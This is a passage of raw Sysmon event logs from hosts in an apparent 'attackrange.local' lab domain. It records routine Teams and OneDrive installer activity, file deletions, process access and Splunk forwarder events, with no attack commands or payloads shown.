14:44:33.080{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:33.080{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:33.065{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:33.065{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:33.033{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-6F51-613B-1009-00000000F001}5996C:\Windows\SysWOW64\rundll32.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:33.033{7BD73061-6F50-613B-0F09-00000000F001}71206320C:\Windows\syswow64\MsiExec.exe{7BD73061-6F51-613B-1009-00000000F001}5996C:\Windows\SysWOW64\rundll32.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIA6F1.tmp+28f8(wow64)|C:\Windows\Installer\MSIA6F1.tmp+247f(wow64)|C:\Windows\Installer\MSIA6F1.tmp+3a7b(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 154100x800000000000000043139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:33.036{7BD73061-6F51-613B-1009-00000000F001}5996C:\Windows\SysWOW64\rundll32.exe10.0.14393.4169 (rs1_release.210107-1130)Windows host process (Rundll32)Microsoft® Windows® Operating SystemMicrosoft CorporationRUNDLL32.EXErundll32.exe "C:\Windows\Installer\MSIA6F1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_2468078 26619 SetupConfigCustomAction!Squirrel.SetupConfigCustomAction.SettingsCustomActions.CopyConfigC:\Windows\SysWOW64\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=A6ED2B5513A128315EC73A300D215759,SHA256=9980CC59993DCDE34A20411E3FACFEE8E7B159EE0D6FA510BCFAECC8532B4C02,IMPHASH=B79A26282DC6494FFDA9173E830DAB0A{7BD73061-6F50-613B-0F09-00000000F001}7120C:\Windows\SysWOW64\msiexec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 33261428E15556C9A2185EC240A82ACB 17141700x800000000000000043138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:44:33.033{7BD73061-6F50-613B-0F09-00000000F001}7120\SfxCA_2468078C:\Windows\syswow64\MsiExec.exe 23542300x800000000000000013898Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.895{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C67E489E587D7557529D17E0E23FFF42,SHA256=200BC8BBE722DA947CD49BBE3FE764E6E980A6F03627D7363866F80135F21F93,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043184Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.877{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\wix.dllMD5=45688182A675C3B0563C9201D8F01B39,SHA256=4B3CF980A840F3E36D98FEF3B4D4C302313AC7E2EA3310F5D0D71722853975C7,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043183Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.862{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Telemetry.dllMD5=96E4D76DC7D009BAB22A0A266F0FF90E,SHA256=6EC8F5DCEC4B20DEE2EF2D2888BF64E1B5AEAE12C010497A357712EB6B6E972B,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043182Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.862{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\System.Spatial.resources.dllMD5=AD73B408CD61BC349ECB29D018A90F25,SHA256=60225714F5F67C7AFE03ADAD6B06DE02396F687F441813847C7C5D083AB10FBD,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043181Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.862{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\System.Spatial.dllMD5=539ECBA6ADC02BD1711E0C0883A502AF,SHA256=0B347698A279A88CF278759100A488941AAF7ACCA96C52194845290D08A26366,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043180Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.846{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Squirrel.dllMD5=96C4220CFC04133723BBDDD000F9D543,SHA256=E23F665D4568232D42A8A703CC01FE1DE3D78A3F3205F5690F5150FF4802C68B,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043179Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.846{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Splat.dllMD5=1975E684C48457D72F37696BB1B880E6,SHA256=7A6F255CF59D6594C8F5BC466956F09305A3A10C8D683E485C7E1F14371701C4,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.846{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\SetupConfigCustomAction.dllMD5=4CEF53DC44B26D27F0B0FB27B04DC91C,SHA256=828DBDAD2D952FEEE9AC8F92BFD9285CFAC51ABD0E0C18FDF3784439D7ED0E3C,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.846{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\NuGet.Squirrel.dllMD5=D02DE3045D666B4FD8D610038D2BB0DF,SHA256=8D37E10D71F70A569EDC28D8E6EB25F26A75B6EEDA083B3988D26B6B9896ECB8,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.846{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Mono.Cecil.dllMD5=7546ACEBC5A5213DEE2A5ED18D7EBC6C,SHA256=7744C9C84C28033BC3606F4DFCE2ADCD6F632E2BE7827893C3E2257100F1CF9E,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.831{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Microsoft.Web.XmlTransform.dllMD5=6AD7D1E92C9833F4BDDE6A4BC84F2E1A,SHA256=13DCF5066E00152238191314D4A46605204FFABDBB830BDD0C97DF3027D1261D,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 11241100x800000000000000043174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:34.815{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\SyncEngine.dll2021-09-10 14:44:34.815 23542300x800000000000000043173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.783{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Microsoft.Deployment.WindowsInstaller.dllMD5=233CA870E2530DA48897DB8FA6F1E3CF,SHA256=CA420FEF4909C10E2E95C8C899FA7D009892DDDF0B2424870236F1D0676E9165,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.752{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Microsoft.Deployment.Resources.dllMD5=343DC7A39956EC67A576C91D3765A1CD,SHA256=71D85BB2863F61CA11625E8BEE171114047D3F3E95792309E2040F3E139BAAE3,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.643{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Microsoft.Data.Services.Client.resources.dllMD5=7F92069CFD4EA63487C25D6ECD96D1F3,SHA256=36DD5A40328C39E032F2CDB3B0F8CCF384716E46488A4E3356A387F74C03357B,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.596{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Microsoft.Data.Services.Client.dllMD5=269BDEFAC8F933B2B133660BCEB81F13,SHA256=3CE056DD03533E4A8D9644B99ADE69B8CF6D5EDF3AB26FE2B9467AEC17A3C85D,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.580{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Microsoft.Data.OData.resources.dllMD5=055CACF6D88D81AD52A8E30E83235CD2,SHA256=8435109572A7548A21C20CC0A3054060127F49376EFAF548AAA303828F257217,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.533{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Microsoft.Data.OData.dllMD5=2D8AEF0300B61BB6A075950900AEFFE3,SHA256=B37D4E017BB6444E00F7A840BD3562D194D199288A0B8406B6DCB431A867B702,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 11241100x800000000000000043167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:34.377{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\arm64\FileSyncShell64.dll2021-09-10 14:44:34.377 23542300x800000000000000043166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.346{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Microsoft.Data.Edm.resources.dllMD5=72CB6CEFD5CE2E63EF929EC63B5C84AF,SHA256=AFCC051B49B4A102BD618D8F3E914346D402588E42333F71C2AB43C9F90F5590,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.299{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Microsoft.Data.Edm.dllMD5=78131030AB1F627955BE3182345BD001,SHA256=E5B0363A26DB4A5C0EDBB8D0EFF0A7B7C071C6C31960832A4332D31FCD170170,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.237{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Microsoft.Bond.Interfaces.dllMD5=52A51EE95888A7BA3A277C02AC07734B,SHA256=AF910124D7E52D5350D4AB125FA661032936C53D7ADAD081D32766F25297A17E,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.174{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Microsoft.Bond.dllMD5=E71099478421938F865EE4AD49B5D4E8,SHA256=41A5C53E2AFAD3E9934582B97229216D614A0AFE520C4ADB765B01E7801BE727,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.158{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6DB342EF616153832AA5266BF5D6CD23,SHA256=F00E2464BEA8109690FC67C14DCFD85A6854F7B0C00FF1438FFF94D64C034F42,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000043161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.127{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Microsoft.Applications.Telemetry.dllMD5=13A81056CEAEDAA4C8A4FBB59AA5D92C,SHA256=5E733EF38D2B71111A91B6BC468F415B59BF2B33157D4F728B8926014405E330,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.112{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\Microsoft.Applications.Telemetry.Desktop.dllMD5=D5FD6ADB0C22D8D947A9E282EDD89D6D,SHA256=100CF34635E4BCD9C3793E9231736E6FF62715FCEAB32BAFBFF49B48B85AC64A,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.112{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\ICSharpCode.SharpZipLib.dllMD5=F2BF7155CDB0F7E7ED3AF446BA588D8E,SHA256=B6BC2CCDD4E72C087B5D9D19E29F5069310EEF5ADE4B42D367960997433F0C05,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.112{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\DeltaCompressionDotNet.MsDelta.dllMD5=F6437EBA2912907A6F13CC18E17239F0,SHA256=7C64414EF3A6E73D3CE5761DC964EB27DA68F70F8B0C04AD62DEE0AA9EAF1BEB,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.112{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\DeltaCompressionDotNet.dllMD5=3CE9C038499D47BFDFABC197F34E04F8,SHA256=2F2FAEBE394F94EAF7F0FBDC09E43F8370717F5C684B66AB61A7DABB755EF4BF,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.112{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\CustomAction.configMD5=4BFDEF8658100D564788F676B4A63864,SHA256=A2E973CCE1F85A2AB9D6E7A90909B17B332C1EF4159FFC57BB3CF688E02BA9EC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000043155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.112{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSIA6F1.tmp-\BootstrapperCore.dllMD5=B0D10A2A622A322788780E7A3CBB85F3,SHA256=F2C2B3CE2DF70A3206F3111391FFC7B791B32505FA97AEF22C0C2DBF6F3B0426,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:34.112{7BD73061-6F51-613B-1009-00000000F001}5996ATTACKRANGE\AdministratorC:\Windows\SysWOW64\rundll32.exeC:\Program Files (x86)\Teams Installer\setup.jsonMD5=19AD152B4BF6B7482CD1FF761CA0EBAA,SHA256=190C38F4F1B04B75B5CEC8D03D3946A94E54044662752ACA7D54C8193EBC5C70,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000043153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:33.987{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=594EC2FDD34FDB22BA98EFF11559A129,SHA256=BC6375C058D162A3104D4F8DB68C0727D191F5BA6B990ECF75EF224CCD616604,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000013897Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.395{625C326B-6F52-613B-9704-00000000F101}17203632C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013896Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.036{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F52-613B-9704-00000000F101}1720C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013895Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.036{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013894Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:34.036{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+